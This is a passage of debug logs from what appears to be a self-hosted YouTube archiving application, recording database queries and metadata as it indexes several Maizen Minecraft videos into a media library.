s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:43.122 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 19:05:43.123 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "ea670d45-147a-49ee-af1f-2751700e7cfa", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 02:05:43Z], ~U[2026-08-20 02:05:43Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 19:05:43.123 [debug] QUERY OK source="sources" db=0.1ms idle=70.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:43.123 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:43.124 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [115031] 19:05:43.124 [debug] Current batch of media processed. Will check again in 1000ms 19:05:44.125 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1140, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", "id" => "G0WIo8d6jaQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "playlist_index" => 13, "timestamp" => 1779500499, "title" => "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "upload_date" => "20260523"} 19:05:44.126 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:44.126 [debug] QUERY OK source="sources" db=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:44.128 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 19:05:44.129 [debug] QUERY OK source="media_items" db=0.7ms idle=1004.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "4d06c9ff-d4b2-467e-b644-b64b7c0cb06e", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 02:05:44Z], ~U[2026-08-20 02:05:44Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 19:05:44.129 [debug] QUERY OK source="sources" db=0.2ms idle=74.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:44.129 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:44.130 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105336] 19:05:44.130 [debug] Current batch of media processed. Will check again in 1000ms 19:05:45.131 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 25255, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", "id" => "hRyqA0Yp7pY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "playlist_index" => 14, "timestamp" => 1779434034, "title" => "Minecraft", "upload_date" => "20260522"} 19:05:45.132 [debug] QUERY OK source="sources" db=0.3ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:45.132 [debug] QUERY OK source="sources" db=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:45.134 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 19:05:45.135 [debug] QUERY OK source="media_items" db=0.6ms idle=1004.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "f69148fa-7b56-4e5c-8c81-a0546412aa2c", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 02:05:45Z], ~U[2026-08-20 02:05:45Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 19:05:45.135 [debug] QUERY OK source="sources" db=0.2ms idle=78.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:45.135 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:45.136 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105337] 19:05:45.136 [debug] Current batch of media processed. Will check again in 1000ms 19:05:46.137 [debug] Current batch of media processed. Will check again in 1000ms 19:05:47.138 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 2386, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", "id" => "gu_xiQyFWhs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gu_xiQyFWhs", "playlist_index" => 15, "timestamp" => 1778987277, "title" => "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "upload_date" => "20260517"} 19:05:47.139 [debug] QUERY OK source="sources" db=0.3ms idle=356.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:47.139 [debug] QUERY OK source="sources" db=0.1ms idle=356.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:47.141 [debug] QUERY OK source="media_items" db=1.3ms idle=357.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 19:05:47.142 [debug] QUERY OK source="media_items" db=0.6ms idle=358.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "16c449cd-5a27-4438-839a-bb22c4ecade0", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 02:05:47Z], ~U[2026-08-20 02:05:47Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 19:05:47.142 [debug] QUERY OK source="sources" db=0.1ms idle=82.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:47.142 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:47.143 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [86028] 19:05:47.143 [debug] Current batch of media processed. Will check again in 1000ms 19:05:47.714 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:48.144 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 915, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", "id" => "sbn-vC02XcE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sbn-vC02XcE", "playlist_index" => 16, "timestamp" => 1778901923, "title" => "500 Million Year Button", "upload_date" => "20260516"} 19:05:48.145 [debug] QUERY OK source="sources" db=0.3ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:48.146 [debug] QUERY OK source="sources" db=0.2ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:48.147 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 19:05:48.148 [debug] QUERY OK source="media_items" db=0.7ms idle=433.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. 